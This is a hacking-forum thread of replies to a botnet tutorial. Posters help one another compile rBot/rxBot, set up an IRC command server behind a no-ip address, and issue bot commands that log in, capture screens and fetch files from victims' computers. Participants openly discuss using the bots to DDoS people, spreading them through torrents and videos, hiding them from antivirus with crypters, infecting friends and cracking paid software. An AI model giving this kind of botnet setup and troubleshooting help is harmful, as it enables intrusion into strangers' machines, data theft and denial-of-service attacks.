Yes, you can DDoS a site. You can also make money from pay per visit sites. AKA click fraud

Remember, Botnets are illegal, and you can go to jail if you get caught

missile - July 4, 2009, 8:33 am

that's great maaan! have being looking for this. Maybe that is one of the reasons i came here! that is great. got to try it out.

branen - July 4, 2009, 11:15 am

great tutorial..tnx.

btw, when i try to use .get command i have some problems.

i cant get file if path to the file looks like C:\Documents and settings\user\desctop\something.txt

mIRC dont understand blank space in folder name.

Anyone can help with this?

d2ax5n - July 4, 2009, 1:10 pm

Gonna try it out soon, find it interesting and a great topic you made,

readed all the post and you got my 2 cents that you made a good topic about botnets i was a complete noob to this,

and thanks to this topic i understand way more. but first I need to find and setup a coupel vpn servers with proxy's included just to be safe, better safe then sorry :) "knowledge is power"

ricky121 - July 4, 2009, 1:20 pm

<http://uploading.com/files/WSS0SEZD/Setting> Up the botnet.rar.html

Link is dead can u upload it again.That will be great and +rep for you gauranteed.?

Joseph Ducreux - July 5, 2009, 5:39 pm

Quote:Time To Make a No-Ip Account

This will help stop people getting your IP address.

1. Goto No-Ip.com an make an account
2. Setup a free Host redirect e.g botnet.no-ip.biz
3. Click on downloads to download your No-IP Dynamic DNS Update Client
4. Run and install the file you downloaded, now leave this for now.
can I see a pic

Nickkelbackk - July 5, 2009, 7:11 pm

I am having trouble installing the service pack 5. It says I need mdac 2.5 or higher. I downloaded mdac 2.8, but it will not install. Any help would be appreciated.
Also, after I download and install visual studio 6 and I go into control panel. Only Microsoft visual c++ is there.

Joseph Ducreux - July 5, 2009, 9:58 pm

Hey look im gettin this error could somebody help?
[img]http://img27.imageshack.us/img27/6790/58943137.png[/img]

Nickkelbackk - July 6, 2009, 9:39 am

[img]http://img27.imageshack.us/img27/6790/58943137.png[/img]
When connecting from the same computer as the server is on, you need to type in 127.0.0.1 instead of your no-ip address. That is what solved my problem when i got that message.

DIZZAY - July 6, 2009, 9:39 pm

I keep getting an error valid name, no data record (check dns setup) when I run irc plus remote control

well need a little help here i m getting the following error while compiling rbot.dsw.....

Compiling...

(Jun 26, 2009 01:45 PM)Linxy6 Wrote: [\[CITE\]](#) help me pleaseplease, after i install the Visual Studio 6, i try to install the "Visual Studio 6 Service Pack 5" and it ask me where to extract the files, where do i extract them?

also when i try to install the "3. Visual Studio 6.0 Processor Pack," i get this:

could someone please help me? :(

Just make a folder anywere u want extract it in the folder and run the set up then u run the processor pack after

vegeta1990 - July 8, 2009, 11:15 am

well i figured it out i had downloaded different version of windows sdk...
well thanks a lot..for this ..really helped..

Gizmo - July 8, 2009, 1:11 pm

(Jul 5, 2009 07:11 PM)Nickkelbackk Wrote: [\[CITE\]](#) I am having trouble installing the service pack 5. It says I need mdac 2.5 or higher. I downloaded mdac 2.8, but it will not install. Any help would be appreciated.

Also, after I download and install visual studio 6 and I go into control panel. Only Microsoft visual c++ is there.

same prob here.?

DarkWereWolf69 - July 8, 2009, 3:01 pm

i get a connection error :\ No Authorization for this server

-

[10054] Connection reset bt peer

-

* Disconnect

Jimistrat - July 9, 2009, 1:54 am

When trying to connect in IRC I get:

* Unable to connect to server (Network is unreachable)

tips?

Gizmo - July 9, 2009, 11:56 am

Thanks very nice tut!! Really like it, 5 stars! :D

Jolty - July 9, 2009, 3:54 pm

Hi deviney i think ive followed your tutorial to the letter not a single proplem ive come across except that when i tested my bot on my computer it never joins and yes i have ticked the redirector box and mirc etc is open

Any help from you or anyone will be much appreciated ?

sinester14 - July 9, 2009, 5:16 pm

it doesnt work on vista right??

Cap - July 9, 2009, 5:22 pm

(Jul 9, 2009 05:16 PM)sinester14 Wrote: [\[CITE\]](#) it doesnt work on vista right??
Not by default, you can modify it so it does =]

And Jolty...

Make sure your configs.h is setup correctly. And make sure your firewall if off.

skatetopia - July 9, 2009, 6:22 pm

All I get is 49 errors and mt directories are setup right.. Also this tutorial wasn't written by you.

iM FuSioN - July 9, 2009, 10:05 pm

Who cares who made it? This ones better

skatetopia - July 9, 2009, 10:09 pm

Better? Copy and Pasted.

Jolty - July 10, 2009, 2:46 am

My firewall is off and all porta are forwarded and im pretty sure i did my config.h correctly yet still doesnt connect and i can see the bot in my task manager im rather puzzled as to why it wont work.?

By any chance does bit on config.h

Code char server[] = "example.no-ip.info"; // serverhave to be 127.0.0.1?

Once again any help much appreciated. ?

Edit: Nevermind guys its working now!

iceblitz - July 10, 2009, 10:25 am

Graff1ti - July 17, 2009, 12:08 am

Sorry guys but i don't know too much about the bots ... does this one can be used for DDOSING ?!

Jolty - July 17, 2009, 7:49 am

Gemjakio mate open your mirc client then go into the mirc options and then under server's find your server you made and edit it then make sure that for the (IRC Server:) part that it should be 127.0.0.1 which is your local address you dont want it as your no-ip.biz you made earlier. Also make sure that in the No-Ip DUC application has that little check box ticked (On left of smiley face) and i noticed you have AVG installed from your screenshot's you must make sure that your resident shield is turned off and that avg is turned off when you test out your bot or AVG will simply just keep on deleteing it and stop its access to the server you have made.

Hope this solve's your proplem ?

DARkSm4sh now regarding your question yes i believe you can but you will need a rather large amount of bots to do so. Dont take my word for it though i might be wrong ive never used bots to ddos tbh.

gemjakio - July 17, 2009, 8:31 am

(Jul 17, 2009 07:49 AM)Jolty Wrote: [\[CITE\]](#) Gemjakio mate open your mirc client then go into the mirc options and then under server's find your server you made and edit it then make sure that for the (IRC Server:) part that it should be 127.0.0.1 which is your local address you dont want it as your no-ip.biz you made earlier. thanx alot man im about to try it out now but i have a question is there another way i can ddos people i just want to d/c people off xbox well i forward the port 6667 an its open but ircplus locks up the port soo i turned that off but nope it didnt wrk but im going to keeep testing

[IMG]http://i250.photobucket.com/albums/gg257/gemjakio/untitled.png[/IMG]

Jolty - July 17, 2009, 10:48 am

Gemjakio If you want to ddos people off xbox mate just use a host booter there's a whole tutorial on it here <https://hackforums.net/showthread.php?tid=55342&highlight=host+booter> which will show you how to set it up and its much easier than using a bot net i assure you. ?

If you still want to use a botnet im afraid ive pretty much given as much help as i can with information you have provided me im not an expert on the subject im afraid. All i can suggest is read the tutorial again and make sure its all correct for example you may have a password for your server or you may not that can cause you proplem's.

I reccommend using MeTuS Delphi 2.8 has worked really well for me. ?

King Karas - July 17, 2009, 10:56 am

Nice...Lol. Now to read through the whole thread.

Jolty - July 17, 2009, 11:02 am

lol have fun ?

Sorun - July 17, 2009, 12:44 pm

Does this work or not?

i0dine - July 17, 2009, 5:47 pm

Great tut man, i've actually been looking for a good tut on botnets for the last couple months.

x WooZy x - July 17, 2009, 8:45 pm

(Jul 17, 2009 10:48 AM)Jolty Wrote: [\[CITE\]](#) Gemjakio If you want to ddos people off xbox mate just use a host booter there's a whole tutorial on it here <https://hackforums.net/showthread.php?tid=55342&highlight=host+booter> which will show you how to set it up and its much easier than using a bot net i assure you. ?

I reccommend using MeTuS Delphi 2.8 has worked really well for me. ?
I'm confused...Don't you need bots to use host booters?

BTW, I got my channel in IRC to work now I can't log in to the bot. I connect to my server, join channel, become admin, than when I try to log into my bot I get something along the lines of "Not in a channel" when I really am. Do I have to send it to someone before I can log in to it? Also if anyone wants to give me advice on how to crypt/bind, whats crypters/binders(free) I should use, how to make my own crypter/binder, and/or spread It would be appreciated

`Seth - July 17, 2009, 9:08 pm

thanks. Love the tut. It works great. Except when the victim restarts their computer it takes them off the botnet. Any suggestions?

Jolty - July 18, 2009, 4:01 am

x WooZy x yes you need bot's but host booter's will build your bot's in the client for you and if you havent tested your bot on your own computer (not reccommended if you dont know what your doing) then you cant login to the bot beacuse no bot exist's and yes you have to spread your bot via thing's like torrent site's and youtube video's etc to get bot's connecting to your server then you can login to your bot.

Hope this may help you x WooZy x im no expert on this subject but im willing to help out more if needed ?

Joshua2k yes this tutorial is fully working.

`Seth regarding your question yes you cant connect to computer's that are turned off but they should rejoin when the botted computer boot's backup or they may have found the bot and deleted it. I would also take a look at your setting's which could be the cause of the bot not rejoining.

Falven - July 18, 2009, 11:16 am

For anyone trying to install Visual C++ Service pack 5 in order to install the processor pack:
Chris Mayo - MSFT Wrote:VB6 SP5 is no longer supported, so we didn't test it with Vista.

SP6 is supported however. The installation of VB6 SP6 on Vista was tested thouroughly.

When installing SP6, be sure to be an admin on the machine and run the install by right clicking on the install and selecting "Run as Administrator."

If that does not work, please reply back with error messages you are getting and we'll work on getting you a solution.

Thanks,

Chris Mayo

Visual Basic Program Manager

And a question:

Can you compile using Visual Basic 2008, and Windows 7 SDK? Also, what is the point of the processor pack?

Thanks,

-Falven

x WooZy x - July 18, 2009, 12:49 pm

Thanks a lot man. Can we talk on AIM about host booters cause you seem like you have past experience with them. PM you screen name or something

Falven - July 18, 2009, 8:24 pm

For anybody running Windows 7 or Vista who is having problems installing Visual C++ service pack 5 here is a fix.

- Right click on Setup.EXE from the Visual Studio 6 CD (MSVS98) and choose 'Run As Administrator' (take note it doesn't matter if your user is already an administrator you still must 'Run as Administrator')

- You may encounter some strange 'Yes/No' questions which you may not know the answers to that have not prompted you during Visual Studio Setup before. I don't remember what I clicked exactly, but I remember one of them said 'Do you want to overwrite your 'blah blah' settings?' and I clicked 'No'.

- You will need to reboot twice during installation

- Before running Service pack 5 setup, you must make modifications to the file 'sp598ent.stf' here's how to do that (note some of the spaces have been truncated, try to not remove the extra space in the stf file when modifying it)...

Step 1) Open C:\ServicePack5Dir\sp598ent.stf with 'Notepad.exe'

Step 2) Replace the following line

13 Group 28 36 38 29 30 32 26 27 14 25 16 17 20 18 19 15 39 21 22 24 23 43

-with-

13 Group 28 38 29 30 32 26 27 14 25 16 17 20 18 19 15 39 21 22 24 23 43

Step 3) Delete the following lines leaving only a carriage return where it was

36 Depend "27 ? : 37"

37 IsWin95 CustomAction "sp598ent.dll,CheckForMDAC"

Step 4) Save and close C:\ServicePack5Dir\sp598ent.stf

- Once you are done with that, you must run right click 'setupsp5.exe' and choose 'Run as Administrator' (if you do not run as administrator it will not work)
- Service Pack 5 Setup should work fine now.

When installing the Processor pack, anybody that receives the ERROR: This version of Processor Pack will only install on Visual C++ 6.0 service pack... If you upgrade from Visual Basic 6.0 SP5 to Visual Basic 6.0 SP6, the DWORD value of the latest registry entry is 6 in the following registry subkey:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\VisualStudio\6.0\ServicePacks

When you install the Visual C++ 6.0 Processor Pack, the installer checks this registry value. Because the DWORD value of the latest registry subkey is 6, the Processor Pack is not installed successfully.

To work around this problem, modify the DWORD value to 5 in the latest entry of the following registry subkey:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\VisualStudio\6.0\ServicePacks

To modify the DWORD value of the registry entry, follow these steps:

Click Start, click Run, type regedit, and then press ENTER.

In Registry Editor, click the following registry subkey:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\VisualStudio\6.0\ServicePacks

In the right pane of Registry Editor, double-click the latest entry.

The Edit DWORD Value dialog box appears.

In the Value data box, type 5, and then click OK.

Exit Registry Editor.

np,
-Falven

Brad. - July 19, 2009, 12:21 am

nice tut

i guess i got to start learning.

im very new to this but am very intrested in learning botnet etc

its2bornot2b - July 19, 2009, 7:25 pm

some of u might think this is a stupid question, but i am a total noob. how do u make the bot invisible when u send it to people and how do u send it? ...cuz if its detectable, wont people just delete it? ...or is it not detectable? im clueless. lol

Bloodfold - July 20, 2009, 1:57 am

Ok, maybe I'm not setting up Visual Studio 6.0 right.

When I want to install it, do i run the ACMSETUP.exe, or something else? because whenever I try to open that I get a error.

Gerrard - July 20, 2009, 1:01 pm

You need to download Windows XP Core SDK but wich one the web or DVD ISO image

H3ct1k - July 21, 2009, 1:17 am

nice tut man

.....

Gerrard - July 21, 2009, 4:23 am

Whats the password for ircplus because im on the site 8 poscount but cant see :S

Edit : when building a .exe file i get alot of errors someone help me with this 2 questions

Graff1ti - July 21, 2009, 12:27 pm

Does this have a firewall bypass ?!

Dyzajash - July 23, 2009, 5:44 am

thx for this topic , because I'm just looking for how-to set up mIRC serv

Cuongkame - July 23, 2009, 2:08 pm

Error executing cl.exe.

rBot.exe - 56 error(s), 0 warning(s)

Legym - July 23, 2009, 2:09 pm

@Cuongkame

Your directories are not set up right. Look in my sig and match up your dir's to mine

MrFan - July 24, 2009, 11:08 am

Will this tutorial work in vista?

animater - July 25, 2009, 9:44 am

@MrFan I think it works on vista

My bots dont connect when i run the .exe on another computer

SCR34M3R - July 25, 2009, 8:23 pm

hi guys

Trying to build a bot, but it doesnt build a exe file, have added the directories, it all compiles fine. I Only just did a format on the drive, and it used to compile and build fine, now only compiles no

build.

Only thing that is different is my main OS drive is D instead of C.

Ne suggestions?

Cheers

Justin

PatrickFarley - July 25, 2009, 8:32 pm

Try and install SDK in D: than go to tools>options>directories.
than add

D:\program files\microsoft platform sdk

D:\program files\microsoft platform sdk\bin

D:\program files\microsoft platform sdk\include

D:\program files\microsoft platform sdk\lib

No clue if that would fix it. Worth a shot, though.

SCR34M3R - July 25, 2009, 8:35 pm

thats how it is now :)

i had to copy my microsoft platform sdk from my old hdd, as when i installed it installed D:\Program Files\Microsoft SDKs\Windows\v6.1

Graff1ti - July 26, 2009, 2:34 am

sorry , but the .docx guide you provided is not working ! can you re-upload or what ?!

SCR34M3R - July 26, 2009, 3:38 am

ne one got ne ideas?

rBot.exe - 36 error(s), 2 warning(s)

i don't know what i must do

Ryxa - July 28, 2009, 5:33 pm

Nice tut, followed it countless times. GJ

Graff1ti - July 28, 2009, 5:37 pm

This bot source doesn't work ! i can't see any bots even i have some victims .. i used another source and worked great !

ian - July 29, 2009, 1:58 am

w00t w00t!!!! i love this!!!!

ThaBoyC - July 29, 2009, 3:21 am

sub7legends is really hard to navigate, cant find any interesting topics to talk about

ElGato - July 29, 2009, 4:13 am

Well, this a great tut.

I did, however have trouble installing sp5 for visual studio.
But, finally, after searching all night, I found the solution.

<http://social.msdn.microsoft.com/forums/en-US/windowsgeneraldevelopmentissues/thread/cd740951-dd2c-46eb-856f-6e653a2e3d07/>

Look at the second post and follow the instructions. Also, getting this problem when trying to build Code -----Configuration: rBot - Win32 Debug-----

Compiling...

lsass.cpp

lsass2.cpp

fatal error C1083: Cannot open compiler intermediate file:

'C:\Users\GRIMM\AppData\Local\Temp\A03896in': Permission denied

fatal error C1083: Cannot open compiler intermediate file:

'C:\Users\GRIMM\AppData\Local\Temp\A03896in': Permission denied

Error executing cl.exe.

rBot.exe - 2 error(s), 0 warning(s)

Also, not sure if this question was answered but, to the people complaining that they can't connect to their server, make sure you keep your static IP program running (NO-IP, DynDNS, etc.) and keep IRCPlus running.

And, as soon as you open up mIRC, type " /server YOURSERVER.no-ip.biz 6667 PASSWORD" with password being the password you set on IRCPlus. if you didn't, then you're putting the wrong port. by default it's 6667 but, if you put something else, you need to make sure you're connecting to that port.

Spider Man_101 - July 29, 2009, 11:05 am

Everyone has worked perfectly up to this point;

When I try and build the rbot I get constant errors

"C:\PROGRAM FILES\MICROSOFT PLATFORM SDK\INCLUDE\iphlpapi.h(183) : error C2065: 'PMIB_ICMP_EX' : undeclared identifier

C:\PROGRAM FILES\MICROSOFT PLATFORM SDK\INCLUDE\iphlpapi.h(183) : error C2146: syntax error : missing ')' before identifier 'pStats'

C:\PROGRAM FILES\MICROSOFT PLATFORM SDK\INCLUDE\iphlpapi.h(183) : warning C4229: anachronism used : modifiers on data are ignored

C:\PROGRAM FILES\MICROSOFT PLATFORM SDK\INCLUDE\iphlpapi.h(185) : error C2059: syntax error : ')"

for each header file in the INCLUDE folder

what's the problem? should I un-install SDK and re-install it?

masterboy - July 29, 2009, 3:08 pm

guys , i built the bot really great ... used this tut but not this bot source as it didn't work for me ... i used rxbot ... but the problem is that i should have got many bots as many run my bot ! but i can't see except 8 bots at the server ! they are all the connections not the online ones only ! what is the problem ?! and if someone run the bot while the irc server was offline ... then when i open it will i see him ?!

Spider Man_101 - July 29, 2009, 11:42 pm

to anyone else who had this problem

Make sure your PLATFORM SDK directories are in the right order (above the default directories)

Pravi93 - August 1, 2009, 3:06 am

Nicee! that tut is sweet

mister.o - August 1, 2009, 2:41 pm

[img]1. Download and unpack: Rxbot 7.6 (212.3 kb) Mirror 2 Mirror 3 2. You should see an Rxbot 7.6 folder 3. Open the Rxbot 7.6 > configs.h folder and edit these lines only: [/img]

So where is it the picture i don't see any picture which lines to edit?

ssfourteenen - August 1, 2009, 6:57 pm

(Jan 21, 2009 12:39 PM)deviney Wrote: [\[CITE\]](#) Time to setup the mIRC client

The client is so you can connect to your host that you just setup. Without this you would never be able to see the chat room haha.

1. Install mIRC
2. Open mIRC and fill in the usual crap: like name, email, nick blah blah and press ok
3. Now click File> Select Server> Click Add> "fill it out as below"

Description: What ever you want

IRC SERVER: enterwhatyoumade.no-ip.biz (Use the no-ip DUS you made)

Ports: 6667 (this is the most common used but it can be 6000-6010, use whats in your bots config an the one you used in your host)

Group: what ever you want

Password: Password you made in IRCplus

4. Press Add> Press OK

5. Leave mIRC open, open No-IP DUC and Open IRCplus

6. Go back to mIRC and press the lightining bolt in the top left area.

You should now be connected to you server, now type:

Just to say, LOVE THE TUT!!! except for when i get to the

--->You should now be connected to you server<--- part, it doesn't connect, all it says is "Unable to connect to server" i've done everything word by word. I'm thinking it might have something to do with the www.no-ip.com setup. what exactly am i suppose to choose as for the setting?

DNS Host (A), DNS Host (Round Robin), DNS Alias (CNAME),

Port 80 Redirect, or Web Redirect?? Any help will be very appreciated and i'll +rep you!!

Spider Man_101 - August 2, 2009, 6:56 am

I am running an IRC server off my computer

I port forwarded the IRC port I am using

I can connect perfectly to the server on mIRC

When I start my Rbot my computer asks if I want to "Keep blocking" or "Unblock" a part of the Rbot and I say "Unblock"

After I press 'Unblock' I am still the only person in the IRC chat

I've checked the server, pass, channel, channel pass, and port number multiple times in the config and they are all correct?

What do you think the problem is?

I am having the same problem with Poison Ivy, look here,

<https://hackforums.net/showthread.php...pid1050277>

Someone suggest to me that I try to infect a friend instead of test on myself since it's not working

What do you think?

Spider Man_101 - August 2, 2009, 2:57 pm

Well make sure all your rBot files and everything is out of your Temp folder. I'd say just put it on your Desktop for now. If it's a shared computer then make a folder somewhere that won't been seen

The "Permission denied" might be because of your files being in \Temp\

But if they are not in \Temp\ or if you move them and it still does not work got to this thread;

<https://hackforums.net/showthread.php?tid=101297>

Look under "If you have windows xp" (even though you have Vista)

And download the 2nd link, it has a good version of SDK and SP6

Also, make sure you have SP6(Service Pack 6) installed, a lot of people forget to install it.

You have to make a folder in your Visual C++ folder and name it Service Pack 6 and extract it there and run the setup that appears in that folder

Try some of those things and get back to me on if it helps

PM/reply if anything is weird

Forward Slash - August 4, 2009, 1:04 am

Did you make an administrator profile on your IRCplus program?

Open Remote Control for IRCplus, then go to "Operators" then click the "Add Operator" button (it looks like a piece of paper)

Then name your operartor (If you name it Donut then you will have to say /oper Donut password)

Set password (If you put in "gilgamesh" to login to admin you type "/oper Donus gilgamesh")

Leave Real Name: Default Administrator Account

Change level to "Administrator"

click ok

the "admin" in "/oper admin password" is the username you set.

It won't work if you type "admin" unless you set the username to admin.

(Aug 4, 2009 11:09 AM)emzee Wrote: [\[CITE\]](#) I Followed Every Single Step But In The End When I was Building The Exe File Here is what Happend

I do not know what to do, when this happens and no one on the forums knows what to do, the best thing for you to do is start the tutorials over. Uninstall and re-install. Best way to fix problems that can't be solved otherwise.

Try googling "LINK : fatal error LNK1181: cannot open input file" without the name of the file "ddos"

of coarse lol

AnyBody - August 4, 2009, 1:48 pm

Nice tut but i think i've seen this somewhere else before

Bloodfold - August 4, 2009, 5:51 pm

My bots don't connect to my server when they run it.

Anyone know why?

ElGato - August 4, 2009, 6:13 pm

you either have a problem with your server or your bots aren't configured right.

If you're using IRC plus or IRCXPro, then you might not be registered. unregistered server with either only allow one person to be on the server.

Bloodfold - August 4, 2009, 7:30 pm

(Aug 4, 2009 06:13 PM)Grimm Wrote: [\[CITE\]](#) you either have a problem with your server or your bots aren't configured right.

I bought a VPS and my server is running off that, because I have another botnet.

BrewC - August 5, 2009, 12:53 pm

Thanks for the great tutorial!

superant10000 - August 6, 2009, 1:04 am

All was going unbelievably well. And then,

Build >

rBot.exe - 3920 error(s), 1400 warning(s)

vc++6.0 installed perfectly, My SDK is all installed right. I set up the right folders.
so um. wtf ???

Only thing i can think of is because my SDK folder isn't C:\PROGRAM FILES\MICROSOFT PLATFORM SDK\ it's C:\PROGRAM FILES\MICROSOFT SDK's\6.1\ but i changed the directories in vc++ to the right folder, would that be a problem still ?

C0matose - August 6, 2009, 1:06 am

Actually, the SDK probably wasn't installed properly. That's the only reason you'd be getting these

errors, that, or your source is corrupted.

As for the last part, if the it doesn't find the SDK directory, it wont run properly. So I think you can answer that for yourself.

superant10000 - August 6, 2009, 1:08 am

Ok, i narrowed it down to this. 56 error(s), 0 warning(s)

rBot.exe - 56 error(s), 0 warning(s)

Is the header file in the same directory as the '.cpp' file where you're including it?

If not, you probably got a corrupted source.

superant10000 - August 6, 2009, 1:14 am

(Aug 6, 2009 01:11 AM)WonderBeaner Wrote: [\[CITE\]](#) Is the header file in the same directory as the

'cpp' file where you're including it in?

If not, you probably got a corrupted source.

Yeah, the header file is in that folder -_-

Maybe it'll work later on. My pc sucks, and it's been on for like 800 hours straight and it seems to lag more than usual. I'll post back later after tinkering.

Thanks for the suggestions though people :) It makes my penis cry pearly white tears of joy :)
(Aug 6, 2009 01:06 AM)WonderBeaner Wrote: [CITE](#) Actually, the SDK probably wasn't installed properly. That's the only reason you'd be getting these errors, that, or your source is corrupted.

As for the last part, if the it doesn't find the SDK directory, it wont run properly. So I think you can answer that for yourself.

Also, it is installed properly, it's just that i have the SDK for Dark GDK for visual C++ 2008 so it now puts my sdk's in a joint folder lol. :/

Bloodfold - August 6, 2009, 8:26 am

I really don't understand why my Bot's won't connect.
It's compiled correctly.

saber937 - August 6, 2009, 11:23 am

thank you very good tut....cept i can't get the bots to connect to my irc

ill do som explorin and figure it out

btw for everyone gettin the compile errors

read the entire tut

it will solve them

source: personal experience

Gizmo - August 6, 2009, 1:19 pm

I'm not connecting.. idk why to -.-

DR490N - August 6, 2009, 1:20 pm

Eey awesome tut man, Love it ;)

phosix - August 6, 2009, 2:25 pm

One question, one of those bots have autospread?? the rx or the aimbot, idk.. thanks

RoarMan - August 6, 2009, 6:33 pm

Nice tut man, helps out a newbie like me a great deal.

DarkForce - August 6, 2009, 8:46 pm

HEY Bro thanks alot for this tut well done man i got say this is the best ever explain tut on this forum. I will try out later and let u know how its goes.

Thanks again bro good work.

superant10000 - August 6, 2009, 11:21 pm

(Aug 6, 2009 11:23 AM)saber937 Wrote: [CITE](#) btw for everyone getting the compile errors

? SHIT ! WHY DIDN'T I THINK OF THAT !

Lol... Just realised that it states in the error log that it can't find anything inside includes.h(11) shouldn't it just say includes.h ?

P.S.

seems i don't have a stdio.h file at all O_O

Where should it be ? In the bot or the SDK ? (o.o)

C:\jajabot\includes.h(11) : fatal error C1083: Cannot open include file: 'stdio.h': No such file or directory

moodychris - August 7, 2009, 4:34 am

okay, microsoft visual c++ installed correctly but when i double click on the dsw file or open it in the program i get an error:

"microsoft ® Developer Studio has stopped working" it worked once then i restart my comp and it's fucked. can anyone help? EDIT: im on vista32bit

Gizmo - August 7, 2009, 6:03 am

..... I don't understand? Why can't I connect to my server :S

ZWVERGFQXPSU - August 7, 2009, 7:38 am

Tnx this was really helpfull

replay92 - August 7, 2009, 8:04 am

Real Nice Tut,, never used botnets but downloading now.. RE's from some one who got it working ?? it would help some ppl here.

Markanthony3210 - August 7, 2009, 9:07 am

What's the point in making botnets, besides a Dos attack?

How many other ways can this be helpful?

phosix - August 7, 2009, 6:27 pm

I got it work dude (:

Oh, i dont recomend download IRC PLUS becouse u will need the serial number, i didnt found it so i download unreal ircd and it works perfectly, but is more hard to config (.conf file).

Dont forget Open ur ports (:

Nobody knows some autospread method? (:

b4tt054y - August 8, 2009, 12:21 am

beuhhhhhh/.....PLEASE .. TO LEARN ME .. HOW TO MAKE BOTNET ????? OR DDOS ATTACK ??

replay92 - August 8, 2009, 1:10 am

`thank you for the tip i will download unreal ircd too ,,

beuhhhhhhh/.....PLEASE .. TO LEARN ME .. HOW TO MAKE BOTNET ????? OR DDOS
ATTACK ??

Useeee thiss tut !!

fagexnetwork - August 8, 2009, 6:15 am

Great tut, A++, maybe some of these kids will quit posting threads.

replay92 - August 8, 2009, 7:37 am

If you thought that those threads where annoying why didn't you made a tut like this Â¿Â¿??

phosix - August 8, 2009, 8:50 am

There you go...

<http://www.antonline.com/archive/index.php/t-232649.html>

Unreal IRCD guide :D

rated - August 8, 2009, 11:11 am

thats a good tut i think il stick to my metus, it seems a bit easier lmao

phpmartin - August 9, 2009, 2:03 am

Help me with IRCplus installing.

I run install file ircplus25129SP4.exe and install it.
then i run crack file IP2Kcr.exe and i press patch.
Then it says "ircplus.exe not find", and creates it.
Then i run ircplus.exe and i got error: "ircplus.exe is not valid Win32 application"

What to do?
How I install and crack it?

Please help.

Thanks.

replay92 - August 9, 2009, 7:16 am

where did you put that "crackfile".exe ? in your install folder?

phpmartin - August 9, 2009, 7:19 am

(Aug 9, 2009 07:16 AM)replay92 Wrote: [\[CITE\]](#) where did you put that "crackfile".exe ? in your install folder?

There where are setup file.

Must I install and then put crack file to C:\Program Files\... ?

Thanks.

// Edit:

I put it there.

Now i get message: Wrong Version.

Need help!

Thanks.

replay92 - August 9, 2009, 9:39 am

Thanks. ?

// Edit:

But there are message:

Quote:IF YOUR GOING TO HOST THE IRC FOR A BOTNET IT IS NOT! RECOMMENDED TO HOST THIS ON YOUR HOME PC (USE A VPS!)

Thanks.

virusc - August 9, 2009, 4:33 pm

all i can say is NICEEEEEEE!!

this shit worked first time ?

Code rBot.exe - 0 error(s), 0 warning(s)

now all i got to do is share the file and check if the bots come online.

+REP ADDED ? opps sorry one problem, not sure if is much of issue but i type

Code .login password

and it says:

Code * You are not on a channel

any help please ?

phpmartin - August 10, 2009, 1:04 am

(Aug 9, 2009 04:33 PM)virusc Wrote: [\[CITE\]](#) opps sorry one problem, not sure if is much of issue but i type

and it says:

Code * You are not on a channel
any help please ?
You must be on a channel.
In config.h file you typed in your channel.
Now in mIRC type: /join #channel
and then you are on a channel.
Now type: .login password
And your ready.

? I can't in to my server.
If I type: /server 127.0.0.1 then i get in, but Bot wont work so.
If i type: /server xxx.no-ip.biz then connection fails.

What to do?

Thanks.

DYSfunkTIONAL2.0 - August 10, 2009, 5:24 am
ircxpro is free and the same icr_pro

phpmartin - August 10, 2009, 5:48 am
Can somebody say me good IRC server.
My own server don't work, so i need to use public server.

Thanks.

Hacks R' Us - August 10, 2009, 1:14 pm
tysm now i finaly have my own stuff

??ID4RK-H4x0RI?? - August 10, 2009, 7:09 pm
Hey I whant 2 set up a botnet, but i have a little problem ?

1' Now open IRC plus "Remote Control" When i open this it shows

Server Name: ??????? Port: ?????
User Name: ??????
Password: ????? save information.

Firewall Settings. Cancel. Connect.

2' what do I have 2 write in the [?????]

PLEASE HELP ?

Darkygamer - August 11, 2009, 10:03 am
holy shiiit that looks difficult XD i think ima foolow the wholo tut in about a week or so

thatnks for making the tut :D

Nitr0EngiEx - August 12, 2009, 1:14 am
I have 64 bit Vista Base pc, and alot of the visual studio 6 is not working BUT, i have visual studio 2008 fully cracked and working. What packs or service packs or anything would i need to download

for source to compile correctly. I have used rbot before but i used 2006 to compile and edit. Am i gonna be able to use 2008 instead.

phpmartin - August 12, 2009, 1:55 am

I can't get in to my server.

I type:

Code /server 127.0.0.1 then i get in.

If i type:

Code /server xxx.no-ip.bizi don't get in.

What port I must to open in my router?

Thanks.

Nitr0EngiEx - August 12, 2009, 2:05 am

well if u left port default u need to forward port 6667 to your computers local ip address from router firewall

phpmartin - August 12, 2009, 2:21 am

(Aug 12, 2009 02:05 AM)Nitr0EngiEx Wrote: [\[CITE\]](#) well if u left port default u need to forward port 6667 to your computers local ip address from router firewall

Ok thanks. ? I have one problem too.

I can't crack IRCplus.

Crack says: "Wrong version!"

How i can crack it?

Thanks.

Nitr0EngiEx - August 12, 2009, 3:11 am

If you looked at the tutorial closer it said it would say it wont work, but it does work. im using it now and it said wrong version to me as well (Aug 12, 2009 01:14 AM)Nitr0EngiEx Wrote: [\[CITE\]](#) I have 64 bit Vista Base pc, and alot of the visual studio 6 is not working BUT, i have visual studio 2008 fully cracked and working. Now back to my question above

Also why did u suggest no-ip its the same domain service i was using back when i did it but my domains kwpt getting shut down by them, i had 2500 bots constant, do you think they are shutting them down due to too much connection useage, too much traffic, or was i getting ratted on . why pick them has noone else complained about being shut down ?

AProPowerRanger - August 12, 2009, 3:28 am

is there a nwere version or a cracked irc i culd get? thinking about setting up a server. or getting put on a server.

phpmartin - August 12, 2009, 4:22 am

phpmartin - August 15, 2009, 3:36 am

How i get screenshot from bot's computer?

I type command:

Code .capture screen C:\screenshot.png and i get screenshot captured.

Now i type command:

Code .get C:\screenshot.png to get file from bot's computer.

But after little waiting, connection failes.

Can somebody help me with this?

Thanks.

This is posted all over the internet dating back a couple of years the same link...

Mr.Fel'[x] aka MaD - August 16, 2009, 8:14 am

I get an error when installing the processor pack, saying that the enterprise or professional edition is needed. .

Jisatsu - August 16, 2009, 8:32 am

it says wrong password for windows studio 6? Could you please PM me it?

Legym - August 16, 2009, 8:35 am

Look in my sig. It covers pretty much every problem out known to man, lol

Jisatsu - August 16, 2009, 8:50 am

nevermind got it to work.

devintrey - August 16, 2009, 3:58 pm

can someone help..

When i try to install the 6.0 processor pack an error comes up saying i need visual studios 6.0 enterprise or professional?

How do i get this.

Bazerkin - August 16, 2009, 7:39 pm

Thanks for this tutorial. Although I didn't need it, it may help some others. :D

dbxd - August 17, 2009, 5:59 am

When i try to install Service pack 5 or w/e for visual studio what directory do i install it to??? i tried comman then visual studio or w/e

phosix2k - August 17, 2009, 12:34 pm

Is a good tutorial for newbies.

stexyman123 - August 18, 2009, 4:40 pm

